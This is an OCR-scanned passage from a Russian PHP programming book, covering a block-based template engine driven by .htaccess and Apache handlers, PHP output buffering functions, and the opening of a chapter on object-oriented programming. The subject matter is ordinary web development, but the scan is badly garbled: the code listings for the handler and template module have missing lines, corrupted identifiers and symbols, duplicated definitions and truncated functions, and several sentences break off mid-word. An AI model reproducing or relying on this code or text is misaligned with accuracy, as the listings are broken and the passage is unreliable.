Шаблонизатор, который вставляет все содержимое запрошенного файла в фиксированный шаблон, совершенно бесполезен в реальной практике. Это означает, что мы должны "научить" его:

определять имя шаблона индивидуально для каждой страницы;

позволять хранить в документе несколько блоков информации, а не только главный текст файла.

Последняя задача более важна, так что начнем с нее. Мы привыкли к тому, что любая страница сценария выполняется последовательно и представляет собой единый HTML-документ. Теперь нам придется отказаться от этого стереотипа (в общем-то, ведущего в тупик). Итак, любая страница сайта - это всего лишь набор блоков, которые будут вставлены в шаблон.

15Зак. 699

Блок — участок текста, имеющий имя (не обязательно уникальное), посредством которого можно ссылаться на этот текст. Мы уже видели, как это происходит в простейшем случае (см. листинг 30.10). Функция шаблонизатора возвращает текст (или содержимое, или тело) блока, имя которого указанно в ее параметрах. Содержимое блока может быть задано многократно, при этом последующее определение "затирает" текст предыдущего. Чуть ниже мы увидим, насколько данное качество оказывается полезным на практике.

Как же определять новые блоки в файле страницы? Для этого существует конструкция?>. Пример ее использования приведен в лис

тинге

I Листинг 30.11. Файл данных страницы:

<?Block("Title",”[]Философия")?>

<?В1оск("Text")?>

Конфликт индуцирует смысл жизни. Объектпренебрегая

деталями, методологически рефлектирует себя через постсовременный класс эквивалентности, открывая новые горизонты. Закон внешнего мира может быть получен из опыта.

<?Block("Cite")?>

Философия, конечно, порождена временем. Информация, как следует из вышесказанного, непредвзято подчеркивает принцип восприятия, отрицая очевидное.

Из листингаследует, что мы можем задавать содержимое блока двумя

разными способами. Самый простой — указать текст непосредственно вторым параметром функции Block о , как это сделано для блока Title. Второй способ незаменим для блоков, тела которых состоят из большого количества строк. А именно, мы можем опустить второй параметр функции Block в этом случае весь текст, который расположен до начала следующего блока либо до конца файла, будет восприниматься как тело. Я буду называть такие блоки многострочными. Особенностью многострочных блоков в том шабло- низаторе, который мы с вами сейчас напишем, является то, что из их содержимого удаляются начальные и концевые пробельные символы, в том числе символы перевода строки. В результате та пустая строка, которая присутствует в листинге, не попадет в шаблон — она будет удалена.

(Замечание

Текст, не принадлежащий ни одному из блоков, игнорируется. Например, мы могли бы написать какие-нибудь комментарии сразу после первой строки листингаи они были бы пропущены.

Наверное, вы уже догадались, как мы будем задавать имя шаблона для той или иной страницы. Название шаблона — не что иное, как содержимое блока Template, который воспринимается шаблонизатором как специальный. Но, конечно, мы не собираемся определять этот блок в каждой странице — иначе чем этот способ лучше использования участков header и footer? Посмотрим, что предлагает нам шаблонизатор.

Наследование блоков

Наверное, вы думаете, что страница /phil/index.html, которая генерируется листингом 30.11, состоит только из трех блоков — Title, Text и cite. Это не так. Страница, без сомнения, включает перечисленные блоки, но она также состоит и из всех блоков, которые заданы для каталогов /phil и /. Каталоги ведь ничем не хуже файлов. Соответственно, каждый каталог также может иметь собственный набор блоков, которые будут унаследованы всеми файлами в нем, а также файлами его подкаталогов.

Предположим, что для каталога /phil определяется блок Title, содержащий, скажем, строку weekly. В то же время файл index.html также определяет блок Title. Что произойдет в этом случае? А произойдет следующее: в шаблоне будет доступно только тело последнего блока. Иными словами, тот блок, который определяется в файле, заменит собой свое старое значение из каталога.

Нетрудно теперь догадаться, как происходит процесс сбора блоков для конкретной запрошенной страницы. Вначале шаблонизатор получает все блоки корневого каталога, затем обрабатывает блоки подкаталога, причем уже имеющиеся одноименные блоки перезаписываются. Описанный процесс продолжается до тех пор, пока не будет достигнут файл, который запрошен пользователем. Такая организация шаблонизатора позволяет нам задавать для всех блоков значения по умолчанию. Эти значения будут использованы шаблоном в случае, если те или иные блоки не "переопределяются" в файле страницы. Чтобы задать тело по умолчанию для блока, достаточно добавить его к блокам корневого каталога сайта.

Мы знаем, что блоки файла хранятся в самом этом файле. Где же находятся блоки каталога? Конечно, в специальном файле, расположенном в этом каталоге.

Замечание )

Хранить блоки каталогов в отдельном централизованном хранилище (наподобие Реестра Windows) было бы большим просчетом. Этим мы перечеркнули бы принцип минимизации зависимостей данных, о котором так много сказано в этой главе.

Я предлагаю использовать в качестве такого файла .htaccess. Чтобы Apache не "ругался" на не непонятные ему директивы <?Block(...)?>, мы снабдим

их символами комментария t в начале строки. Конечно, таким способом мы не сможем задавать многострочные блоки для каталогов, но, как показывает практика, в большинстве случаев это и не нужно. В листинге 30.12 показан пример файла .htaccess, расположенного в корневом каталоге сервера и задающего значения блоков по умолчанию.

! Листинг 30.12. Блоки для корневого каталога: /.htaccess

tt<?Inc("templ")?>

#<?В1оск("DefaultGlue", " | ") ?>

#<?В1оск("Template","default.tmpl") ?>

#<?Block("Title","Тестовый сервер")?>

Связываем имя обработчика с конкретным файлом.

Action. templhandler ”/php/TemplateHandler.php?”

Документы этого типа мы желаем "пропускать" через наш обработчик.

AddHandler templhandler .html .htm

Обратите внимание на то, что в приведенном файле конфигурации задаются также и некоторые директивы Apache, которые заставляют сервер запускать программу шаблонизатора каждый раз, когда пользователь обращается к HTML-документу. Мы уже знакомы с этими директивами: в главе 29 они использовались для того, чтобы обеспечить подключение библиотекаря к каждому сценарию сервера.

Примечание

Наверное, вы уже заметили, что блочный файл, который обрабатывается шаб- лонизатором, представляет собой ни что иное, как код на РНР с вызовами управляющих функций типа Block (). Этим мы достигаем множества преимуществ, самое главное из которых — значительное ускорение работы шаблони- затора по сравнению со способом "ручного" разбора файлов. Кроме того, отладочные качества сценария при таком подходе ничего не теряют: файлы блоков загружаются с помощью include, а значит, случись там ошибка, РНР исправно покажет имя файла и номер строки, где это произошло. Правда, остается единственный недостаток: несколько некрасивый синтаксис определения блоков, естественный лишь для программиста, но не для дизайнера. Что же, всегда приходится идти на какие-тожертвы...

Внимательно взгляните на определение блока Template. Как уже упоминалось, этот блок содержит имя шаблона, который будет задействоваться при отображении страницы. То, что блоки из родительских каталогов наследуются файлами, позволяет нам задать Template в одном-единственном месте, автоматически распространив его действие на все файлы в каталоге. Не правда ли, это как раз то, чего мы так долго добивались?

Шаблонизатор также обрабатывает специальным образом еще один блок. Его название — output. Тело именно этого блока выводится в браузер пользователя, когда вся страница уже обработана. Обычно блок output вставляют только в шаблон страницы, потому что использование его в любом другом месте оказывается бессмысленным (все равно он переопределится в шаблоне).

Автоматическая генерация названий

Если пользователь находится на сайте "Книжный магазин" в разделе "Философия" на заинтересовавшей его странице "Современность", то, конечно, в заголовке окна браузера ему бы хотелось видеть что-то вроде "Книжный магазинФилософияСовременность", а не просто

"Современность". Мы уже договорились хранить название страницы в блоке Title. Но, конечно, мы бы не хотели записывать в каждой странице название полностью, потому что:

в будущем мы можем перенести страницу в другой раздел;

Я мы, возможно, захотим сменить разделитель | на

П это нарушает концепцию минимальной избыточности данных, что, как мы уже неоднократно убеждались, не приводит ни к чему хорошему.

Специально для решения такого рода задач в нашем шаблонизаторе предусмотрим механизм, который я далее буду называть автоматической склейкой тел блоков. Вот как он работает. Если при обработке очередного блока шаб- лонизатор видит, что его тело начинается с подстрокион определя

ет, что текст должен быть "пристыкован" к предыдущему телу одноименного блока, но не должен заменить его. В качестве "строки-клея" выступает значение блока с именем клей. Это позволяет нам в будущем изменить символ "склейки" лишь в одном месте, чтобы это затронуло весь сайт. В случае, если указана пустая пара квадратных скобок [ ] (то есть имя блока было опущено), используется тело блока с именем(см. листинг 30.12), а

если и он отсутствует — то

Теперь при загрузке страницыиз листинга 30.11, пользо

ватель увидит ее полное название, составленное из блоков Title всех и самого файла страницы. Мы добиваемся этого, определив блок Title следующим образом:

<?В1оск("Title”,"[]Философия")?>

Поддержка механизма поиска включаемых файлов

В шаблонизаторе есть одна полезная функция. Называется она Load о и занимается тем, что загружает указанный в параметрах файл, который как предполагается, также имеет блочную структуру. Имя этого файла можно задавать относительно текущего каталога (в котором расположен код, вы-

звавший Load ()), либо же в абсолютном формате (относительно корневого каталога сервера).

С помощью данной функции мы можем разбивать сложные шаблоны на части. Например, так можно было бы поступить с блоком, занимающимся формированием карты текущего раздела, особенно если существует несколько шаблонов, отображающих эту карту. Функцию Load () можно вызывать в любом месте страницы или даже из файла .htaccess. Блоки, генерируемые ей, будут вставлены непосредственно перед тем блоком, в котором она была вызвана.

На примере использования библиотекаря мы уже убедились, насколько утомительным может быть указание абсолютных путей к файлам. Поэтому функция Load () умеет сама искать включаемые файлы по серверу. Она делает это всякий раз, когда ей задан относительный путь к файлу. Поиск ведется на основе списка так называемых каталогов для поиска шаблонизато- ра. Этот список можно пополнять с помощью вызова Inс(), как это сделано, например, в листинге 30.12. Функция Inc ( ) довольно интеллектуальна: даже если ей передан относительный путь к каталогу, она переводит его в абсолютный. Так что при использовании Load о из файла, расположенного в другом каталоге, не происходит никаких недоразумений.

Фильтры блоков

После того, как тело блока вычислено, шаблонизатор производит его дополнительную обработку. Делается это с помощью специальных функций- фильтров. Например, "склеивание" названий осуществляется именно таким фильтром. Система устроена таким образом, что позволяет добавлять и удалять фильтры прямо в процессе работы. Для этого программисту достаточно лишь написать код функции-фильтра, а затем добавить имя этой функции в специальную таблицу фильтров (см. исходный код шаблонизатора).

В той версии шаблонизатора, которую мы сейчас рассматриваем, имеется и еше один "стандартный" фильтр. Его задача — удалить из тел блоков все начальные символы табуляции, сколько бы их ни было. Это позволяет программистам и дизайнерам свободно делать отступы в HTML-коде документов, не думая о том, что символы табуляции будут увидены пользователем при просмотре кода страницы. Впрочем. возможно, это и излишество (в конце концов, кому какое дело, как выглядит исходный код страницы).

Примечание

Ради интереса вы можете написать фильтр, который превращает все символы перевода строки в пробелы. Таким образом, исходный код страницы, которую получит пользователь, будет представлять собой одну длинную строку. Код этого фильтра занимает буквально одну строку на РНР!

Поддержка трехуровневой схемы разработки сценариев

Несомненно, наш шаблонизатор будет поддерживать трехуровневую схему разработки сценариев. Иначе и быть не могло: мы не должны удалять из системы то, что прекрасно работает. Наверное, вы уже заметили, что в телах блоков мы можем свободно применять операторы РНР, а это требование является главным для любой схемы.

Чтобы не "засорять" каталоги сайта сценариями — интерфейсами и генераторами данных — предлагается разместить все, что не относится к HTML- файлам и блокам, в отдельном (недоступном извне) каталоге. Им может быть, например, тот самый каталог, где располагаются различные модули. Ведь что такое ядро сценария, как не обычная библиотека, предоставляющая функции для всеобщего использования?! Взятие на вооружение такой техники также снимает с нас заботу об указании полного пути к файлам ядра, поскольку они находятся в общедоступном каталоге модулей, а значит, могут быть включены при помощи uses () •

I Замечание j

С загрузкой интерфейсов посредством Uses () все обстоит несколько сложнее. Вполне может возникнуть ситуация, когда один и тот же интерфейс требуется в разных местах шаблона страницы для выполнения различных действий. Функция же Uses () всегда загружает файл лишь однажды, следя за тем, чтобы в следующий раз ее вызов был просто проигнорирован. Так что она нам не совсем подходит. В качестве альтернативы предлагается добавить в код библиотекаря еще одну функцию (назвав ее, например, UsesMulti ()), которая могла бы загружать указанный файл несколько раз. Единственное отличие ее кода от кода Uses () состоит в том, что она использует инструкцию include, а не include_once. Написание этой функции предоставляю читателю.

Вот и подошло к концу описание нашего шаблонизатора. Надеюсь, я ничего не упустил. Впрочем, если вдруг в приведенном ниже коде вы обнаружите еще какую-нибудь возможность, которую я здесь забыл описать, ничего страшного, наверное, не случится.

Обработчик Apache для шаблонизатора

Так как шаблонизатор должен запускаться при обращении к любой странице на сервере, для него придется написать обработчик. Я привожу здесь его код без дополнительных пояснений, поскольку он практически полностью аналогичен тому коду, который мы рассматривали в главе 29.

Листинг 30.13. Обработчик шаблонизатора: TemplateHandler. php

<7

// Проверяем, не пытается ли пользователь запустить обработчик

напрямую, минуя Apache.

FILE

?ReqName=ereg_Replace("\\?.*","",strtr(getenv("REQUEST_URI"),"\\","/"));

{

Выводим сообщение об

include

// Записываем в журнал данные о $f=fopen("TemplateHandler.log","a+");

- Access fclose($f);

// Завершаем работу. exit;

)

// Все в порядке — корректируем переменные окружения в соответствии

// с запрошенным пользователем адресом.

gputenv("REQUEST_URI=".

$GLOBALS["HTTP_ENV_VARS"]["REQUEST_URI"]=

$GLOBALS["REQUEST_URI"]=

getenv("QUERY_3TRING")

) ;

gputenv("QUERY_STRING=".

$GLOBALS["HTTP_ENV_VARS"]["QUERY_STRING"]=

$GLOBALS["QUERY_STRING"]=

ereg("QUERY

);

parse_str($QUERY_STRING);

// Подключаем

$INC[1=getcwd();

include

// Переходим в каталог со страницей.

chdir(dirname($SCRIPT_FILENAME));

// Загружаем

Uses("Template");

// Выводим содержимое главного блока страницы. echo

Главный модуль шаблонизатора

Основной код шаблонизатора, который и выполняет всю работу, помещен в библиотеку Template.phi. Она содержит все функции, которые могут потребоваться в шаблонах и блочных страницах. Главная функция модуля - RunUrl о- "запускает" страницу, путь к которой (относительно корневого каталога сервера) передается в параметрах. Результат работы этой функции — содержимое блока output, порожденного страницей.

В листинге 30.14 приводится полный код шаблонизатора с комментариями.

| Листинг 30.14. Модуль шаблонизатора: Template.phii

// Константы, задающие некоторые значения по умолчанию

define("DefGlue", " I ");// символ склейки по умолчанию

define ("Htaccess_Name", " .htaccess"); // имя .htaccess-файла

// Имена "стандартных" блоковdefine("BlkTemplate","template");define("BlkOutput","output");define("BlkDefGlue","defaultglue")// Имена "стандартных" блоковdefine("BlkTemplate","template");define("BlkOutput","output");define("BlkDefGlue","defaultglue")// шаблон страницы// этот блок выводится в браузер// символ для "склейки" по умолчанию// шаблон страницы// этот блок выводится в браузер// символ для "склейки" по умолчанию

// Имена "стандартных" блоков

define("BlkTemplate","template");

define("BlkOutput","output");

define("BlkDefGlue","defaultglue")

// Имена "стандартных" блоков

define("BlkTemplate","template");

define("BlkOutput","output");

define("BlkDefGlue","defaultglue")

// шаблон страницы

// этот блок выводится в браузер

// символ для "склейки" по умолчанию

// шаблон страницы

// этот блок выводится в браузер

// символ для "склейки" по умолчанию

// Рабочие переменные

$GLOBALS["BLOCK"]=array();// массив тел всех блоков

$GLOBALS["BLOCK_INC"]=array() ;// аналог $INC библиотекаря

$GLOBALS["CURBLOCK_URL"]=false; // URL текущего обрабатываемого файла

$GLOBALS ["bSingleLine"]=0;// признак: обрабатываемый файл -

.htaccess

// В следующем массиве перечисленны имена функций-фильтров, // которые будут вызваны для каждого блока, когда получено его // содержимое. Вы, возможно, захотите добавить сюда и другие // фильтры (например, исполняющие роль простейшего макропроцессора, // заменяющего одни тэги на другие) . Формат функций:

//void FilterFunc(string $BlkName, string &$Value, string 5BlkUrl)

$GLOBALS["BLOCKFILTERS"]=array(

"_FBlkTabs", "_FBlkGlue" //*** Здесь могут располагаться имена ваших функций-фильтровю

/ / Возвращает тело блока по его имени. Регистр символов не учитывается. function Blk(Sname)

{ return 0SGLOBALS["BLOCK") [strtolower(Sname)] ;

// Добавляет указанный URL в список путей поиска. При этом путь

// автоматически преобразуется в абсолютный URL (за текущий каталог

/ / принимается каталог текущего обрабатываемого файла) .

function Inc(Suri)

{global $CURBLOCK_URL,$SCRIPT_NAME;

$CurUrl=$CURBLOCK_URL; if(!$CurUrl) $CurUrl=$SCRIPT_NAME;

if($url[0] !="/")$url-abs_path(Suri,dirname (SCurUrl)) ; SGLOBALS["BLOCK_INC") []=$url;

// Устанавливает имя текущего блока и, возможно, его значение.

// Все данные, выведенные после вызова этой функции, будет принадлежать

// телу блока Sname. Если задан параметр $value, тело сразу

// устанавливается равным $value, а весь вывод просто проигноруется.

// Это удобно для коротких однострочных блоков, особенно расположенных

// в файлах .htaccess. Из того, что было выведено программой в

// стандартный поток, будут удалены начальные и концевые пробелы,

/ / a также вызовутся все функции-фильтры. Окончанием вывода, // принадлежащего указанному блоку, считается конец файла либо // начало другого блока (то есть, еще один вызов Block() .

function Block(Sname=false, $value=false)

{ global $BLOCK, $bSingleLine, $CURBLOCK_URL;

// Объявляем некоторые флаги состояния

static $Handled=false;// в прошлый раз вывод был перехвачен

static $CurBlock=false; // имя текущего обрабатываемого блока // Если имя блока задано, перевести его в нижний регистр if(Sname!==false)$name=strtolower(trim(Sname)) ;

// Вывод был перехвачен. Значит, что до этого вызова уже

// была запущена функция Block () . Теперь блок, который

// она обрабатывала, закончился, и его надо добавить в массив // блоков (или же проигнорировать этот вывод) .

if(SHandled) {

// Имя предыдущего блока было задано if ($CurBlock!==false) {

// Добавляем в массив

$BLOCK[$CurBlock]=trim(ob_get_contents()) ;

// Если блок однострочный (из файлато

// удаляем все строки, кроме первой.

if(@$bSingleLine) $BLOCK[$CurBlock]=

ereg_Replace("[\r\n].*”,"",$BLOCK[$CurBlock]);

Запускаем фильтры

_ProcessContent ($CurBlock,$BLOCK[$CurBlock], $CURBLOCK_URL) ;

}

// Завершаем перехват потока вывода

;

}

// Если имя блока заданоэто происходит практически

// значит, функция была вызвана нормальным образом, а не только для

// того, чтобы завершить вывод последнего блока (см. функцию {

// Перехватываем поток вывода

ob_start () ; $Handled=l;

// Тело явно не задано, значит, нужно его получить путем // перехвата выходного потока. Фактически, сейчас мы просто // говорим системе, что текущий блок -и что, как только

// она встретит другой блок или коней файла, следует получить // выведенные данные и записать их в массив.

{

$CurBlock=$name;

} else {

// Тело задано явно. Записать блок в массив, но все равно

// перехватить выходной поток (чтобы потом его //

_ProcessContent ($name,$value,$CURBLOCK_URL) ;

$BLOCK[$name] =$value;

$CurBlock=false;

}

}

)

// Загружает файл с URLи добавляет блоки, которые в нем

// находились, к списку существующих блоков. Параметрможет

// задавать относительный URL, в этом случае производится его

/ j поиск в глобальном массиве $INC (том же самом, который использует

// библиотекарь). Если в качестве 9 name задано не имя файла, а имя

// каталога, то анализируется файл .htaccess, расположенный

H в этом каталоге. На момент загрузки файла текущая директория

// изменяется на ту, в которой расположен файл.

function Load($name)

{global $BLOCK,$bSingleLine,$CURBLOCK_URL,$BLOCK_INC;

// Перевести все пути в $INC в абсолютные AbsolutizeINC();

// Если путь относительный, ищем по $BLOCK_INC $fname=false;

if($name[0]!='/') {

// Перебираем все каталоги включения foreach($BLOCK_INC as $v) {

$fname=Url2Path("$v/$name"); // Определяем имя файла if(file_exists($fname)) { $name="$v/$name"; break; } }

// Если не нашли, 5 f name остается ===false } else {

// Абсолютный URL - перевести его в имя файла $fname=Url2Path($name);

}

// Обрабатываем файл, имя которого вычислено по URL.

// Сначала проверяем существует ли такой файл.

if($fname===false || !file_exists($fname))

die("Couldn't open \"$name\"1");

// Это директория - значит, используем .htaccess

$Single=false;

if(@is_dir($fname)) {

$name=glue_path($name,Htaccess_^Name) ;

$fname=glue_path($fname,Htaccess_Name);

$Single=l;

}

// Еслифайладосихпорнесуществует(это можетслучиться,когда

// мы указали сипользовать .htaccess, а его в директории нет) , // мирно выходим. Ничего страшного, если в директории нет .htaccess-a. if(!file_exists($fname)) return;

// Запускаем файл. Для этого сначала запоминаем текущее состояние // и директорию, затем загружаем блоки файла (просто выполняем файл),

/ / а в конце восстанавливаем состояние.

$PrevSingle=$bSingleLine; $bSingleLine=@$Single;

$SaveDir=getcwd(); chdir(dirname($fname));

$SaveCBU-$CURBLOCK_URL; $CURBLOCK_URL=$name;•

// Возможно, в файле присутствуют начальные пробелы или другие

// нежелательные символы (например, в .htaccess-e это может

// быть знак комментирования). Все они пойдут в блок с

// именем _PreBlockText.

Block("_PreBlockText");

// Делаем доступными все глобальные переменные

foreach($GLOBALS as $k=>$v) if(!@Isset($$k)) global $$k;

// Запускаем файл include $fname;

// Сигнализируем, что блоки закончились (достигнут конец файла).

// При этом чаще всего будет осуществлена запись данных

// последнего блока файла в массив.

Block();

if(@$php_errormsg&& ereg ("Aparse",$php_errormsg) ) echo "<b>Warning:</b> $php_errormsg at $fname, ".

"line ??? - thanks PHP developers <nobr>:-(</nobr>";

chdir($SaveDir);

$CURBLOCK_URL=$SaveCBU;

$bSingleLine=$PrevSingle;

}

// Главная функция шаблонизатора. Обрабатывает указанный файл $url

// и возвращает тело блока Output. В выходной поток ничего не печатается // (за исключением предупреждений, если они возникли).

function RunUrl($url)

{global $BLOCK;

// Собираем все блоки

_CollectBlocks($url) ;

// Находим и запускаем главный шаблон. Мы делаем это в последнюю

// очередь, чтобы ему были доступны все блоки, из которых состоит

// страница. Шаблон - обычный блочный файл. В нем обязательно

// должен присутствовать блок Output.

$tmpl=@$BLOCK[BlkTemplate];

if(!$tmpl) {

die("Cannot find the template for <b>$url</b>

you defined } Load($tmpl);

Возвращаем блок Output

{ output from template <b>$tmpl</b> you defined

} return $BLOCK[BlkOutput] ;

// Эта функция предназначена для внутреннегоОна собирает

// блоки из файла, соответствующего указанному $url, в том числе и // из всех function {global

$url=abs_path($url,dirname($GLOBALS["SCRIPT_NAME"J) ) ;

// Если путь - не /, то обратиться с надкаталогу.

if (strlen($url)>l) —CollectBlocks (dirname($url)) ;

// Загрузить блоки самого файла Load($url); )

// Запускает все фильтры для блока. function

{as $F)

$F($name,$cont,$url) ; }

//*** "Склеивание" блоков.

// Если тело блока начинается сто оно не просто

// записывается в массив блоков, а "пристыковывается" к значению,

// уже там находящемуся, причем в качестве символа-соединителя

// выступает тело блока с именемЕсли строка name не

// (то есть, указано используется блок с именем DefaultGlue, если этого блока нет, то соединитель по умолчанию -|

function { global

if($cont, $P) ) {

$c=substr// тело блока после [name]

$П=$Р[1];// имя соединителя

// Есть с чем "склеивать"? if (lempty ($BLOCK[$name]) ) {

$glue=@$BLOCK[$n];

if( !Isset($glue)) $glue=@$BLOCK[BlkDefGlue];

if ( !Isset($glue)) $glue=DefGlue;

$cont=$BLOCK[Sname]. $glue.$c; }

// Склеивать нечего - просто присваиваем. else $cont=$c;

) }

//*** Удаление начальных символов табуляции из тела блока.

// Теперь можно выравнивать HTML-код в документах с помощью табуляции.

// Это оказывается чрезвычайно удобным, если мы используем тэги, // например, в таком контексте.

// < ?foreach($Book as $k=>$v) {? >

//<tr>

//<td>< ?=$Book[ ' name ' ] ? ></td>

//<td>< ?=$Book['text'] ? ></td>

//</tr>

// < ?}? >

function _FBlkTabs ($name,&$cont, $url) { $cont=preg_replace("/A\t+/m","", $cont); 1

"Перехват" выходного потока

В коде листинга 30.14 есть всего лишь несколько вызовов стандартных функций, которые мы еще не рассматривали в этой книге. Я имею в виду функции с префиксами ob_ (от Output Buffering — Буферизация вывода). Их задача — "перехватить" тот текст, который выводится операторами echo, a также участками, расположенными вне PHP-тэгов <? и ?>, и направить его в строковую переменную для дальнейшей обработки.

Примечание j

Эти чрезвычайно полезные функции впервые введены в РНР версии 4. Нужно заметить, что без них вряд ли можно написать более-менее удобный шаблонизатор.

Я привожу здесь их описания в том виде, который принят в этой книге.

void ob_start()

Вызов данной функции говорит РНР, что необходимо начать "перехват" стандартного выходного потока программы. Иными словами, весь текст, который выводится операторами echo или расположен вне участков кода РНР, будет накапливаться в специальном буфере, а не отправится в браузер. В любой момент времени мы можем получить все содержимое этого буфера, вызвав функцию ob_get_contents () ■ В шаблонизаторе мы вызываем ob_start() каждый раз, когда встречается начало нового блока.

string ob_get_contents()

Функция возвращает текущее содержимое буфера, который заполняется операторами вывода при включенном режиме буферизации. Именно ob_get contents о обеспечивает в нашем шаблонизаторе возможность накопления текста блоков. Она вызывается (а возвращенные данные записываются в массив) каждый раз, когда заканчивается очередной блок (вернее, перед началом следующего блока), а также при достижении конца файла.

Примечание

В случае, если буферизация выходного потока не была включена, функция возвращает false. Это свойство можно использовать для проверки того, установлен ли буфер вывода, или же данные сразу направляются в браузер.

void ob end_clean()

Вызов данной функции завершает буферизацию выходного потока. При этом все содержимое буфера, которое было накоплено с момента последнего вызова ob_start (), теряется (не попадает в браузер). Конечно, если текст вывода нужен, необходимо сначала получить его при помощи ob_get_content(). Именно так и происходит в шаблонизаторе. Вызов функции ob_end_clean() с последующим ob_start() — единственный способ очистить внутренний буфер РНР.

void ob__end flush ()

Эта функция практически полностью эквивалентна ob_end_clean() , за исключением того, что данные, накопленные в буфере, немедленно выводятся в браузер пользователя. Ее применение оправдано, если мы хотим отправлять данные страницы клиенту, параллельно записывая их в переменную для дальнейшей обработки.

Стек буферов

Необходимо сделать несколько замечаний насчет функций "перехвата" выходного потока программы. Что получится, если больше одного раза подряд вы-

звать ob_start ? Хотя об этом не написано ни слова в официальной документации, рискну взять на себя ответственность и заявить, что, в общем-то, ничего нежелательного не произойдет. Последующие операторы вывода будут работать с тем буфером, который был установлен самым последним вызовом. При этом функция не завершит буферизацию, а просто установит в активное состояние "предыдущий" буфер (разумеется, сохранив его предыдущее содержимое). Легче всего понять этот механизм на примере:

| Листинг 30.15. Пример "перехвата" выходного потока

<?

// устанавливаем перехват в буфер 1

echoпопадет в 1-й буфер

// откладываем на время буфер 1 и активизируем второй

echo "2";// текст попадет в буфер 2

// текст во втором буфере

// отключает буфер 2 и активизируем первый

echo// попадет опять в буфер 1

// текст в первом буфере

// т. к. это последний буфер, буферизация отключается

// Распечатываем значения буферов, которые мы сохранили в массиве as $i=>$t) echo

//

// 2: 2

// 1: 11

?>

Мы видим, что схема буферизации выходного потока чем-то похожа на стек: всегда используется тот буфер, который был активизирован последним. У такой схемы довольно много положительных черт, но есть и одна отрицательная. А именно, если какая-то логическая часть профаммы использует буферизацию ВЫХОДНОГО ПОТОКа, НО ПО"забудет"

перед своим завершением, оставшаяся профамма останется "в недоумении", что же произошло. К сожалению, в РНР мы никак не сможем обойти это ограничение, так что призываю вас быть особенно внимательными.

Проблемы с отладкой

В последней версии РНР на момент написания этих строк имелось небольшое неудобство, которое может превратить отладку программ, использующих буферизацию, в сущий ад. Дело том, что при включенной буфериза-

ции все предупреждения, в нормальном состоянии генерируемые РНР, записываются в буфер, а потому (если программа не отправляет буфер в браузер) могут потеряться. К счастью, это касается лишь предупреждений, которые не завершают работу сценария немедленно. Фатальные ошибки отправляются в браузер почти всегда. Неприятность как раз и состоит в этом "почти". Даже фатальные ошибки останутся программистом незамеченными, если он вызывает функцию ob_start() вложенным образом, — т. е. более одного раза, как это было описано в предыдущем абзаце. Например, если в листинге 30.15 после присваивания текста элементу массива $А [2 ] вставить вызов несуществующей функции, программа сразу же выдаст пользователю текущее содержимое буфера номер 1, а затем, "не сказав ни слова", завершится. Это и понятно: ведь сообщение об ошибке попало во второй буфер, а значит, было проигнорировано! Почему разработчики РНР, вопреки общеизвестной практике, не разделили стандартный выходной поток и поток ошибок, остается неясным.

Если вы заметили, шаблонизатор всегда использует не более одного буфера "перехвата" в каждый момент времени. Это сделано именно из соображений упрощения отладки сценариев. И все же, если нефатальное предупреждение было сгенерировано в момент обработки блока, который по каким-то причинам не входит в шаблон страницы, оно останется незамеченным программистом. Впрочем, наверное, в этом нет ничего страшного: раз блок не выводится, значит, нам все равно, правильно он отработан или нет.

Глава 31

Объектно-ориентированное программирование на РНР

программированияпрограммированияВ последние10 лет идея объектно-ориентированного

программирования

программирования

(ООП), кардинально новая идеология написания программ, все более занимает умы программистов. И это неудивительно. В самом деле, сейчас происходит (а точнее, уже произошло, особенно после выхода стандарта на C++ от 98-го года и изобретения таких языков, как Java и Delphi) примерно то же, что произошло в начале 80-х годов при появлении идеи структурного программирования.

Объектно-ориентированные программы более просты и мобильны, их легче модифицировать и сопровождать, чем их "традиционных" собратьев. Кроме того, похоже, сама идея объектной ориентированности при грамотном ее использовании позволяет программе быть даже более защищенной от различного рода ошибок, чем это задумывал программист в момент работы над ней. Однако ничего не дается даром: сами идеи ООП довольно трудны для восприятия "с нуля", поэтому до сих пор очень большое количество программ (различные системы Unix, Apache, Perl, да и сам РНР) все еще пишутся на старом добром "объектно-неориентированном" Си. Что ж, очень жаль. Ощущение жалости усиливается, если посмотреть на исходные тексты этих программ, поражающие своей многословностью...

РНР, как и большинство современных языков, обеспечивает некоторую поддержку ООП. Конечно, эта поддержка далеко не полна: например, нет множественного наследования и сокрытия данных, довольно примитивен и сам механизм наследования и полиморфизма. Правда, в четвертой версии РНР наметился кое-какой прогресс: появились ссылочные переменные, но их использование все еще несколько затруднительно из-за неудобного синтаксиса. Однако это все же лучше, чем ничего.

В этой главе я кратко изложу основные идеи ООП, подкрепляя их иллюстрациями программ на РНР. Конечно, данная глава ни в коей мере не претендует на звание учебника по ООП. Интересующимся читателям рекомендую изучить любой из монументальных трудов Бьерна Страуструпа, изобретателя языка C++.

Классы и объекты

Ключевым понятием ООП является класс. Класс — это просто тип переменной. Ну, не совсем просто... На самом деле переменная класса (далее будем ее называть объектом класса) является в некотором смысле автономной сущностью. Обычно такой объект имеет набор свойств и операций (или методов), которые могут быть с ним проведены. Например, мы можем рассматривать тип int как класс. Тогда переменная этого "класса" будет обладать одним свойством (ее целым значением), а также набором методов (сложение, вычитание, инкремент и т. д.).

В языке C++ мы могли бы, действительно, объявить тип int именно таким образом. Однако в РНР дело обстоит немного хуже: мы не имеем права переопределять стандартные операции (сложение, вычитание и т. д.) для объектов. Например, если бы мы захотели добавить в язык комплексные числа, в C++ это можно было сделать без особых затруднений (и класс комплексных чисел по использованию практически не отличался бы от встроенного типа int), однако в РНР у нас такое добавление не удастся. Альтернативное решение состоит в том, чтобы везде вместо + и других операций использовать вызовы соответствующих функций — например, Add (), которые бы являлись методами класса.

Но обо всем по порядку. Давайте посмотрим, как создать класс в РНР. Это довольно несложно:

class MyName {

описания свойств

определения методов

)

Замечу, что здесь не создается объекта класса, а только определяется новый тип. Чтобы создать объект класса MyName, в РНР нужно воспользоваться специальным оператором new:

$0bj = new MyName;

Вот теперь в программе существует объект $obj, который "ведет себя" так же, как и все остальные объекты класса MyName.

Свойства объекта

Но давайте пока не будем создавать объектов, а вернемся опять к классу. Сначала (честно говоря, можно и не только в начале, но и в любом другом месте описания) должны следовать описания свойств класса. Свойство — это просто своеобразная переменная внутри объекта класса, в которой может храниться какое-то значение. Например, в классе таблицы MySQL, которым

мы вскоре займемся, имя таблицы задано в виде свойства STableName. То есть, грубо говоря, каждый объект-таблица содержит в себе свою собственную переменную $TableName и имеет над ней полный контроль. Какие именно свойства будет иметь любой объект заданного класса, указывается при создании этого класса.

Примечание

